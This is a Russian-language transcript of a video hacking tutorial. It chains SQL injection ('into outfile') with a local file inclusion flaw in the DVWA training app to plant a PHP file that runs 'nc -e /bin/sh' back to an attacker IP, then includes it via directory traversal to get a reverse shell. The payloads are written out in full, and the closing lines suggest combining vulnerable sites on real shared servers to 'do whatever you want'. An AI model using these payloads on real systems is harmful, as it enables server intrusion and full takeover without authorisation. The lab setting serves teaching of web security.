Здравствуйте, дорогие друзья.
В предыдущем видеоуроке мы разобрали запись данных на сервер, при помощи SQL-инъекций, в частности используя функцию «into outfile». В случае, если сервер позволит нам записывать файлы в директории, то мы можем воспользоваться обратным шеллом, и используя тот же код, который мы использовали ранее, для использования доступа к серверу. Проблема заключалась в том, что мы не смогли записать данные в директорию, поэтому существует невозможность чтения файлов. Мы смогли провести запись, только в директорию /tmp, но мы не можем открыть tmp через URL.
Я покажу Вам решение этой проблемы, но у сайта или сервера должна быть уязвимость локального запуска файлов. На сервере, как мы помним, может лежать несолько сайтов, и если мы найдем SQL-инъекцию на одном из сайтов, а на сервере уязвимость локального запуска файлов, то можно скомбинировать эти данные для эксплуатации.
Итак, рассмотрим уязвимое веб-приложение DVWA, на низких настройках безопасности. Откроем страницу «SQL-injection», введя в поле «id», какое-то значение:
Запишем в адресной строке URL, следующее выражение: «1' union select 1,2%23»:
И, как видим, все работает.
Далее, я попытаюсь записать шелл в /tmp, а затем я открою его с помощью уязвимости запуска файлов.
Выражение очень простое, но действенное. Оно выглядит как: «union select '<?passthru(„nc -e /bin /sh 10.0.2.15 8080“);?>', null into outfile '/tmp /reverse.php'».
Код отличается лишь тем, что в нем присутствует php запись. Id укажем, как -1, чтобы значения не передавались администратору:
Видим вывод записи того, что файл был записан на сервер. Действительно, я записывал данный файл при подготовке к уроку.
Это происходит не всегда, поэтому нужно экпериментировать с директориями, на предмет прав доступа.
Продолжим рассматривать вопрос установки обратного соединения, и в терминале я запущу netcat:
Теперь мы слушаем входящее подключение на порт 8080.
Дело в том, что предыдущий эксплойт мы загрузили на сервер, и с помощью него мы можем получить полный контроль над сервером жертвы.
Мы можем также пробовать эксплуатировать все веб-приложения, которые находятся на нем.
Для наглядности перейдем на страницу DVWA, File Inclusion, и в строке URL нужно осуществить переход в директорию /etc /passwd. Это делается с помощью записи: «/../../../../tmp /reverse.php»:
Как видим, все работает.
Теперь можем перейти к нашей директории: «/tmp /reverse.php»:
В итоге мы можем выполнять любые команды на сервере. По-сути, у нас есть обратный шелл, и мы можем делать все, что захотим:
Аналогичным способом можно комбинировать веб-сайты, которые находятся на сервере. Как Вы помните, их может быть множество. К примеру, на одном из сайтов, Вы нашли уязвимость SQL-инъекции, а на втором, уязвимость локального запуска файлов. В итоге Вы сможете установить обратный шелл, и делать с сервером все, что захотите.
На этом все. Всем хорошего дня!